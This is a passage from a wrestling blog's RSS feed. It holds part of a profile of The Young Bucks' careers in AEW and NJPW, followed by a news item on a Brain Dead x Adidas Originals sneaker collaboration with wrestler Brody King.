Their ongoing story with ex-Bullet Club stablemates Kenny Omega and The Good Brothers was one of the most intriguing in AEW, showing the confliction of the duo — wanting to stay loyal to the friends who got them to where they are, but also tempted to do the right thing. For weeks they teased where they truly stood, eventually choosing to betray the light and join their mates in The Elite.

The Bucks are also great emotional storytellers, conveying agony, confliction, or smarminess through their facial expressions. Nick and Matt are masters of subtle in-ring reactions.

Charisma

If there’s one thing The Bucks are not short on, it’s charisma. While not as visually spectacular in physique as fellow AEW stars like Brian Cage or Jungle Boy, they make up for it in personality.

With attire straight out of a child’s imagination — complete with tassels and flair — their gear reflects their journey from young wrestling fans to fully realised characters. Drawing inspiration from many indie gimmicks, their style became more prominent in large part due to their time as Generation Me in TNA.

Whether heels or faces, they always have their character work down, as either disgustingly excessive acrobats or heartfelt heroes willing to pull out all the stops.

Bullet Club

As referenced earlier, the duo were an integral part of the success of Bullet Club and The Elite. Alongside top stars such as Adam Cole, Prince Devitt (later Finn Balor) and AJ Styles, the faction dominated New Japan Pro Wrestling for years. One of the coolest factions in wrestling, they were also among the biggest merch sellers, with their simple black-and-white aesthetic making them a modern-day nWo — hated by some, ‘too sweet’ for others.

Being part of wrestling’s grandest modern group, it was an exciting concept then, and with AEW as their platform now, there’s still room for them to rule the world again.

Being The Elite

To further their popularity and entertain fans, The Bucks — alongside their stablemates — created Being The Elite.

A weekly YouTube series since 2016, it mixes absurd wackiness with progressive storylines, often giving underused talents more screen time and character arcs. These days, the show is more removed from The Bucks than in the early years, but they still appear regularly. With over 200 episodes, it’s part comedy, part behind-the-scenes insight, and part AEW brand-builder — all from the creative minds of Matt and Nick Jackson.

Hatred For Cornette

Former manager and booker Jim Cornette is one of the most divisive personalities in wrestling. Known for his disdain for the ‘gymnastics’ style popularised by The Bucks, he’s traded numerous barbs with them over the years.

Insults, jabs, and even tense encounters at autograph signings have kept the feud alive, with the Jacksons refusing to work with him again. While opinions differ, many fans see The Bucks as having the moral high ground, standing up for themselves and their peers against unprovoked criticism.

Reaction To Being Sued

If there’s one thing The Bucks have in abundance, it’s a smarmy sense of humour. This was on full display during their legal spat with WWE, who threatened them with a $150,000 lawsuit for using the ‘Too Sweet’ hand gesture — originally from the nWo in WCW.

In response, the Jacksons leaned into the joke, releasing ‘Cease and Desist’ merch and comically censoring the gesture in their appearances.

Post-Covid Era; Exclusively with AEW

Even four years on from when this was first written and posted, The Young Bucks have kept themselves in the spotlight and continued to evolve — both in-ring and behind the scenes.

In April 2025, the Bucks made a shock return at AEW Dynasty after a six-month absence, costing Swerve Strickland the AEW World Title and aligning with Jon Moxley’s Death Riders faction. This heel-leaning move reignited interest in their storylines and cemented their willingness to shake things up.

At All In Texas later that summer, they lost to Swerve Strickland and Will Ospreay in a high-stakes tag team match — a defeat that, in storyline, saw them stripped of their Executive Vice President roles in AEW.

They’ve also continued to make waves internationally. In January 2025, The Young Bucks returned to NJPW and captured the IWGP Tag Team Championship at Wrestle Dynasty, adding another reign to their already stacked résumé. They dropped the belts the following month in Osaka but reminded everyone they can still dominate in Japan when they choose to.

Recognition has followed too. In 2024, they were named Tag Team of the Year in the New York Post Pro Wrestling Awards — a nod to their consistency and influence. That same year saw them heavily involved in major AEW feuds, including playing a part in the build-up to Sting’s retirement.

On the stats side, as of 2025 their AEW ranked tag match record sits at 55-21 (a 72% win rate), with a 3-1 record in tag action so far this year (As of August 11th 2025, with a lost to Bandito & Brody King)

From superkick sprees to high-flying chaos, subtle storytelling to breaking the fourth wall, The Young Bucks have gone from divisive indie darlings to defining forces in All Elite Wrestling. Whether they’re changing the landscape with Being The Elite, ruling the ring in AEW, or making headlines overseas in NJPW, Matt and Nick Jackson have proven they can thrive in any era.

Nearly two decades in, they’re still polarising, still innovative, and still impossible to ignore — whether you’re in the “elite” camp or the “egregious” one. Love them or loathe them, the Young Bucks are here to stay… and the party isn’t over yet.

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]]> https://deadformat.co.uk/the-evolution-of-the-young-bucks/feed/ 0 Brain Dead x Adidas Originals Unveils Brody King Japan Collection https://deadformat.co.uk/brain-dead-x-adidas-originals-unveils-brody-king-japan-collection/ https://deadformat.co.uk/brain-dead-x-adidas-originals-unveils-brody-king-japan-collection/?noamp=mobile#respond Wed, 06 Aug 2025 11:52:26 +0000 https://deadformat.co.uk/?p=29 Los Angeles-based streetwear disruptors Brain Dead are once again linking up with Adidas Originals for Fall/Winter 2025 — this time with a heavyweight assist from professional wrestler Brody King. The partnership debuts a brand-new “Brody King” branded boot, alongside fresh reinterpretations of the Barricade 13, Taekwondo, and Climacool 2 sneakers. The capsule pulls heavily from […]

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]]> Los Angeles-based streetwear disruptors Brain Dead are once again linking up with Adidas Originals for Fall/Winter 2025 — this time with a heavyweight assist from professional wrestler Brody King. The partnership debuts a brand-new “Brody King” branded boot, alongside fresh reinterpretations of the Barricade 13, Taekwondo, and Climacool 2 sneakers. The capsule pulls heavily from the worlds of boxing and wrestling, blending combat sport heritage with Brain Dead’s offbeat, retro-futuristic aesthetic.

A fusion of style and sport
The new “Brody King” silhouette takes cues from 1980s-era Japanese boxing boots, then cranks things up with bold flame overlays inspired by lucha libre culture. The result is an unapologetically statement-making piece that balances performance roots with high-impact style. Across the collection, a shared colour palette of bright green, ultraviolet, muted beige, and metallic silver is paired with layered materials — think hairy suede panels, lightweight mesh, and synthetic overlays — for depth and texture.

Celebrating the launch
To kick things off, Brain Dead will host a free Brain Slam Wrestling event in Los Angeles on Friday, August 8th, 2025. The card features an international roster including Brody King, Tiger Mask, Emi Sakura, Mei Suruga, Volador Jr., and more, plus a live set from hardcore outfit Never Ending Game. Fans in attendance might even walk away with a pair of the limited-edition sneakers before they hit shelves, while online shoppers can register via the Brain Dead newsletter for a shot at securing them.

Release details
The Brain Dead x Adidas Originals FW25 collection — including the Brody King collaboration — is expected to drop between September and November 2025 via Adidas.com and select retailers. An exact release date is still under wraps.

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]]> https://deadformat.co.uk/brain-dead-x-adidas-originals-unveils-brody-king-japan-collection/feed/ 0